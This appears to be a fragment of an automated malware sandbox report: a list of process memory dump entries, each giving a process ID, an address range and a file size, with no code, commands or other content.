memory/1160-135-0x0000000000400000-0x00000000012DA000-memory.dmpFilesize
14.9MB
-
memory/1160-133-0x0000000000400000-0x00000000012DA000-memory.dmpFilesize
14.9MB
-
memory/1204-105-0x000007FEF5390000-0x000007FEF5DA8000-memory.dmpFilesize
10.1MB
-
memory/1204-96-0x0000000000000000-mapping.dmp
-
memory/1204-117-0x000007FEF4971000-0x000007FEF4975000-memory.dmpFilesize
16KB
-
memory/1204-104-0x000007FEF4970000-0x000007FEF5388000-memory.dmpFilesize
10.1MB
-
memory/1204-106-0x000007FEF4970000-0x000007FEF5388000-memory.dmpFilesize
10.1MB
-
memory/1204-139-0x000007FEF4970000-0x000007FEF5388000-memory.dmpFilesize
10.1MB
-
memory/1204-140-0x0000000076CB0000-0x0000000076E59000-memory.dmpFilesize
1.7MB
-
memory/1204-112-0x000007FEF5390000-0x000007FEF5DA8000-memory.dmpFilesize
10.1MB
-
memory/1204-113-0x0000000076CB0000-0x0000000076E59000-memory.dmpFilesize
1.7MB
-
memory/1212-162-0x0000000001FD0000-0x00000000027C7000-memory.dmpFilesize
8.0MB
-
memory/1212-165-0x0000000001FD0000-0x00000000027C7000-memory.dmpFilesize
8.0MB
-
memory/1212-163-0x0000000001FD0000-0x00000000027C7000-memory.dmpFilesize
8.0MB
-
memory/1212-155-0x0000000000000000-mapping.dmp
-
memory/1216-166-0x0000000000000000-mapping.dmp
-
memory/1216-173-0x0000000000400000-0x0000000000D4E000-memory.dmpFilesize
9.3MB
-
memory/1216-168-0x0000000000400000-0x0000000000D4E000-memory.dmpFilesize
9.3MB
-
memory/1216-180-0x0000000000400000-0x0000000000D4E000-memory.dmpFilesize
9.3MB
-
memory/1280-82-0x0000000000000000-mapping.dmp
-
memory/1300-200-0x0000000000000000-mapping.dmp
-
memory/1360-223-0x0000000000000000-mapping.dmp
-
memory/1384-147-0x0000000000419040-mapping.dmp
-
memory/1384-151-0x0000000000400000-0x0000000000443000-memory.dmpFilesize
268KB
-
memory/1388-245-0x0000000140000000-0x0000000140029000-memory.dmpFilesize
164KB
-
memory/1388-243-0x0000000140002314-mapping.dmp
-
memory/1388-259-0x0000000140000000-0x0000000140029000-memory.dmpFilesize
164KB
-
memory/1388-246-0x0000000076CB0000-0x0000000076E59000-memory.dmpFilesize
1.7MB
-
memory/1388-249-0x0000000076CB0000-0x0000000076E59000-memory.dmpFilesize
1.7MB
-
memory/1388-248-0x0000000076B90000-0x0000000076CAF000-memory.dmpFilesize
1.1MB
-
memory/1388-242-0x0000000140000000-0x0000000140029000-memory.dmpFilesize
164KB
-
memory/1464-88-0x0000000000000000-mapping.dmp
-
memory/1496-239-0x0000000140000000-0x000000014114B000-memory.dmpFilesize
17.3MB
-
memory/1496-228-0x0000000000000000-mapping.dmp
-
memory/1504-197-0x0000000000000000-mapping.dmp
-
memory/1524-209-0x000000000258B000-0x00000000025AA000-memory.dmpFilesize
124KB
-
memory/1524-208-0x0000000002584000-0x0000000002587000-memory.dmpFilesize
12KB
-
memory/1524-184-0x000007FEF2500000-0x000007FEF305D000-memory.dmpFilesize
11.4MB
-
memory/1524-186-0x0000000002584000-0x0000000002587000-memory.dmpFilesize
12KB
-
memory/1524-182-0x000007FEFB531000-0x000007FEFB533000-memory.dmpFilesize
8KB
-
memory/1524-183-0x000007FEF3060000-0x000007FEF3A83000-memory.dmpFilesize
10.1MB
-
memory/1540-84-0x0000000000000000-mapping.dmp
-
memory/1564-109-0x0000000000000000-mapping.dmp
-
memory/1564-114-0x0000000000E30000-0x0000000001AFA000-memory.dmpFilesize
12.8MB
-
memory/1568-202-0x0000000000000000-mapping.dmp
-
memory/1572-87-0x0000000000000000-mapping.dmp
-
memory/1632-199-0x0000000000000000-mapping.dmp
-
memory/1704-206-0x0000000000000000-mapping.dmp
-
memory/1716-175-0x0000000000419040-mapping.dmp
-
memory/1716-181-0x0000000000400000-0x0000000000443000-memory.dmpFilesize
268KB
-
memory/1724-58-0x0000000075151000-0x0000000075153000-memory.dmpFilesize
8KB
-
memory/1724-62-0x00000000002E0000-0x00000000002E8000-memory.dmpFilesize
32KB
-
memory/1724-54-0x0000000000400000-0x0000000000D4E000-memory.dmpFilesize
9.3MB
-
memory/1724-61-0x0000000000400000-0x0000000000D4E000-memory.dmpFilesize
9.3MB
-
memory/1752-210-0x000000000272B000-0x000000000274A000-memory.dmpFilesize
124KB
-
memory/1752-193-0x000007FEF3060000-0x000007FEF3A83000-memory.dmpFilesize
10.1MB
-
memory/1752-212-0x000000000272B000-0x000000000274A000-memory.dmpFilesize
124KB
-
memory/1752-201-0x0000000002724000-0x0000000002727000-memory.dmpFilesize
12KB
-
memory/1752-211-0x0000000002724000-0x0000000002727000-memory.dmpFilesize
12KB
-
memory/1752-196-0x000007FEF2500000-0x000007FEF305D000-memory.dmpFilesize
11.4MB
-
memory/1776-203-0x0000000000000000-mapping.dmp
-
memory/1960-80-0x0000000000000000-mapping.dmp
-
memory/1996-198-0x0000000000000000-mapping.dmp
-
memory/2008-83-0x0000000000000000-mapping.dmp